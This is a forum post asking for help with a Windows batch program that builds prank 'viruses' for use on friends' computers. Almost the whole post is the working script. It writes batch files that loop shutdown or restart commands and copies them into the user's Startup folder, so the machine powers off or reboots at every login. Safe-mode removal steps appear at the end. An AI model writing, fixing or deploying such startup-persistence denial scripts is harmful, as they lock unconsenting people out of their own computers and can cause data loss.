I'm trying to create a user-friendly virus creation program for pranking your friends. Im having a problem though. When I try to create virus number 2 some of the scripts don't seem to carry out. It immediately places the virus in startup without listing the other options. If you want to see how it is supposed to work view virus number one which is working perfectly. Heres the code:
@echo off
color 0A
:start
echo Welcome to the Virus Creation Manager! Zach Sugano
echo Please choose a Virus Productions
echo Press 1 to Create a Shutdown Virus
echo Press 2 to create a Restart Loop Virus
echo Press I for Instructions on stopping installed viruses.
set /p Virus=
if %virus%==1 goto v1
if %virus%==2 goto v2
if %virus%==I goto instruct
if %virus%==i goto instruct
echo That is an invalid entry
pause
cls
goto start
:v1
echo Preparing to Create Virus
pause
echo @echo off >Virus.bat
echo :start >>Virus.bat
echo shutdown -s -t 00 >>Virus.bat
echo goto start >>Virus.bat
copy "virus.Bat" "C:\Users\%Username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
del Virus.bat
echo Please note that this file will immediately shutdown computer upon startup.
echo If you would like to stop this virus please type delete below
echo if you would like to continue simply press enter
set /p del1=Type Delete or press enter
if %del1%==delete goto del1A
if %del1%==Delete goto del1A
echo Virus has succesfully been created and installed.
pause
goto end
:del1A
cd "C:\Users\%Username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
del Virus.bat
echo The Virus has been deleted
echo Ending Program
pause
goto end
:v2
echo Preparing to Create Virus
pause
echo @echo off >Virus2.bat
echo :start >>Virus2.bat
echo shutdown -r -t 00 >>Virus2.bat
echo goto start >>Virus2.bat
copy "Virus2.Bat" "C:\Users\%Username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
del Virus2.bat
echo Please note that this file will immediately restart computer upon startup.
echo If you would like to stop this virus please type delete below
echo if you would like to continue simply press enter
set /p del2==
if %del2%==delete goto del2A
if %del2%==Delete goto del2A
echo Virus has succesfully been created and installed.
pause
goto end
:del2A
cd "C:\Users\%Username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
del Virus2.bat
echo The Virus has been deleted
echo Ending Program
:instruct
cls
echo To uninstall Virus. Hold f8 on startup. Select safe mode. Open the starup folder. This folder is located at
echo C:\Users\Your Username\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup. Please fill in your username in the username spot. In that Folder delete
echo the virus File. The Virus will now be uninstalled.
echo Press enter to go back home
pause
cls
goto start
:end